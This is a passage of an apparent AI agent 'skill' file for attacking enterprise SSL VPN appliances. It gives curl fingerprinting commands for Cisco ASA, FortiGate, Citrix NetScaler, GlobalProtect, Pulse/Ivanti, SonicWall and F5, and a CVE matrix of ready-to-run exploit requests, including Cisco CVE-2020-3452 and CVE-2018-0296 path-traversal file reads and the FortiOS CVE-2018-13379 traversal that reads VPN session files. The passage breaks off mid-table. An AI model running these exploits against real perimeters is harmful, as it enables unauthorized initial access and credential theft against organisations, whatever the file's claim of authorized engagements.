/enterprise-vpn-attack

name: enterprise-vpn-attack
description: External SSL VPN / remote-access appliance attack matrix — Cisco ASA/AnyConnect, Fortinet FortiGate/FortiOS, Citrix NetScaler/ADC, Palo Alto GlobalProtect, Pulse Secure / Ivanti Connect Secure, SonicWall, F5 Big-IP. Covers version fingerprinting, CVE matrix (2018-2026), AAA backend identification, default credentials, configuration-disclosure paths, pre-auth RCE/SSRF/path-traversal exploits where applicable. Built from authorized-engagement Cisco ASA testing plus 2024-2026 enterprise VPN CVE landscape. Use whenever the target's perimeter exposes any SSL VPN appliance or remote-access gateway — these are the most common initial-access points in 2024-2026 actor TTPs.
sources: authorized-engagement, public-advisories, cisa-kev
report_count: 1

When to use this skill

Trigger when recon surfaces:

• `*.<client>.example/+CSCOE+/logon.html` or similar `+CSCOE+` paths → Cisco ASA / AnyConnect
• `intranet.*` / `vpn.*` / `connect.*` / `webvpn.*` / `wc.*` / `remote.*` subdomains
• Port 443 returning login pages with `Server: Apache` or banner like "AnyConnect", "FortiGate", "NetScaler", "GlobalProtect", "Pulse", "Ivanti"
• TCP 8443 / 4443 / 10443 / 8888 (common VPN web-mgmt ports)
• HTTP responses with `Set-Cookie: webvpn=` (Cisco) / `SVPNCOOKIE=` (Fortinet) / `NSC_AAA=` (Citrix) / `DSAuthSession=` (Pulse) / `BIGipServer*` (F5)

DO NOT use for:

• Internal lateral-movement post-foothold (out of scope per user's boundary)
• VPN client-side bugs (different attack class)
• IPsec / L2TP / OpenVPN (different protocols, not SSL VPN web stack)

---

Vendor identification (fingerprinting)

Cisco ASA / AnyConnect

curl -skI 'https://target/+CSCOE+/logon.html' | head -10
# Look for: Set-Cookie: webvpn=; X-Frame-Options: SAMEORIGIN; CSP: ... block-all-mixed-content
# Login page contains: "AnyConnect", "CSCOE", "logon.html"

ASA version: not banner-disclosed in modern builds; need to derive from JS file paths or test specific paths.

# Path-based version hints (older builds leaked builds in URLs)
curl -sk 'https://target/+CSCOE+/sdesktop/scan-finalize?path=test'
curl -sk 'https://target/+CSCOE+/saml/sp/metadata'         # 200 = SAML auth enabled
curl -sk 'https://target/CSCOSSLC/config-auth'             # AnyConnect handshake endpoint

Fortinet FortiGate / FortiOS

curl -skI 'https://target/remote/login' | head -10
# Look for: Set-Cookie: SVPNCOOKIE=, Server header missing or "xxxxxxxx-xxxxx"
# Login page contains: "FortiGate", "Fortinet", "SSL-VPN"

Version: `/remote/info` sometimes leaks (older), or `/login?username=` 302 response

Citrix NetScaler / ADC / Gateway

curl -skI 'https://target/' | head -10
# Look for: Set-Cookie: NSC_AAA=, Set-Cookie: NSC_USER=, Server: NetScaler
# Login page contains: "NetScaler", "Citrix Gateway"

# Version banner
curl -sk 'https://target/vpn/index.html' | grep -oE 'NetScaler/[0-9.]+|NS[0-9.]+'
curl -sk 'https://target/menu/neo'                # 200 if vulnerable to CVE-2019-19781 era

Palo Alto GlobalProtect

curl -skI 'https://target/global-protect/login.esp' | head -10
# Look for: Set-Cookie: PHPSESSID= (yes, GP uses PHP), Server: Apache (PA-VM internal)
# Page contains: "GlobalProtect Portal", "PAN-OS"

# Version banner via login page
curl -sk 'https://target/global-protect/login.esp' | grep -oE 'GlobalProtect Portal[\s\S]{0,200}'
# Or check meta tag
curl -sk 'https://target/global-protect/login.esp' | grep -oE 'panui-[0-9.]+'

Pulse Secure / Ivanti Connect Secure

curl -skI 'https://target/dana-na/auth/url_default/welcome.cgi' | head -10
# Look for: Set-Cookie: DSAuthSession=, DSPREAUTH=
# Page contains: "Pulse Secure" or "Ivanti Connect Secure"

# Version
curl -sk 'https://target/dana-na/auth/url_default/welcome.cgi' | grep -oE 'Pulse Connect Secure[^<]*|ivanti[^<]*[0-9.]+'

SonicWall NetExtender / SMA

curl -skI 'https://target/cgi-bin/welcome' | head -10
# Look for: Set-Cookie: swap=, swapauth=
# Page contains: "SonicWall", "NetExtender", "SMA"

F5 Big-IP / APM

curl -skI 'https://target/my.policy' | head -10
# Look for: Set-Cookie: BIGipServer*, MRHSession=
# Server: BIG-IP (sometimes)

---

CVE matrix — pre-auth or auth-bypass (2018-2026)

Cisco ASA / AnyConnect

| CVE | Affects | Type | Test | |---|---|---|---| | **CVE-2018-0296** | ASA pre-9.x specific builds | Path traversal — info disclosure (sessions, config) | `GET /+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua` | | **CVE-2020-3452** | ASA, FTD before specific patch levels | Path traversal — file read | `GET /+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua` and variations | | **CVE-2023-20269** | ASA, FTD specific | Auth bypass on SSL VPN | Brute-force a group + valid creds combo against `/+webvpn+/index.html` | | **CVE-2024-20481** | RAVPN | DoS via crafted handshake | **SKIP in red team — disruptive** |

# Cisco CVE-2020-3452 — file read
curl -sk 'https://target/+CSCOE+/files/file_name.html?Filename=Microsoft.Manifest+/+CSCOT+/lua/test.lua' | head -5

# Cisco CVE-2018-0296 — path traversal
curl -sk 'https://target/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua' | head -20

# Files commonly retrievable on vulnerable ASA:
# /+CSCOE+/portal_inc.lua    (portal inclusions — may reveal local users)
# /+CSCOE+/session_password.html
# /+CSCOE+/files/files.html

Fortinet FortiGate / FortiOS

| CVE | Affects | Type | Test | |---|---|---|---| | **CVE-2018-13379** | FortiOS 5.4-6.0 | Path traversal — sslvpn_websession file read | `GET /remote/fgt_lang?lang=/../../../..//////////dev/cmdb/sslvpn_websession` | | **CVE-2022-42475** | FortiOS 7.x specific | Heap overflow — pre-auth RCE | Complex exploit; test with `nuclei` template `CVE-2022-42475` | | **CVE-2023-27997** (XORtigate) | FortiOS various | Heap overflow — pre-auth RCE | Public PoCs exist;